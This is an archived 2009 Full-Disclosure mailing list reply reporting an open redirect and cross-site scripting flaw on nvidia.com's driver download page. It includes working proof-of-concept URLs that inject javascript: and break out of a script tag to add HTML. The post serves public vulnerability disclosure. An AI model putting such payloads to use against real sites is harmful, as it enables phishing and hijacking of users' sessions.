full-disclosure - Re: nVidia.com [Url Redirection flaw]

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]

Message-ID: <c9a09d00903250713j408440cdta3f2e2ce789d91b5@mail.gmail.com>
Date: Wed, 25 Mar 2009 15:13:59 +0100
From: "Jan G.B." <ro0ot.w00t@...glemail.com>
To: ascii <ascii@....it>
Cc: full-disclosure <full-disclosure@...ts.grok.org.uk>
Subject: Re: nVidia.com [Url Redirection flaw]

2009/3/24 ascii <ascii@....it>:
> Pete Licoln wrote:
>> It's just a browser based Js redirection....
>>
> http://www.nvidia.com/content/DriverDownload/download_confirmation.asp?kw=&url=http://whatismyip.com
>
> and what makes it worst than an http redirection?
>
> http://www.nvidia.com/content/DriverDownload/download_confirmation.asp?kw=&url=javascript:alert(document.domain);
>

Even special characters like quotes and <> are not escaped. The worst
redirect ever ;)

http://www.nvidia.com/content/DriverDownload/download_confirmation.asp?kw=&url=%22%3E%3C/script%3E%3Cbody%3E%3Ch1%3EActually%20this%20IS%20serious%3C/h1%3E%20%3Cscript%20x=%22

Anyone informed nvidia?

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/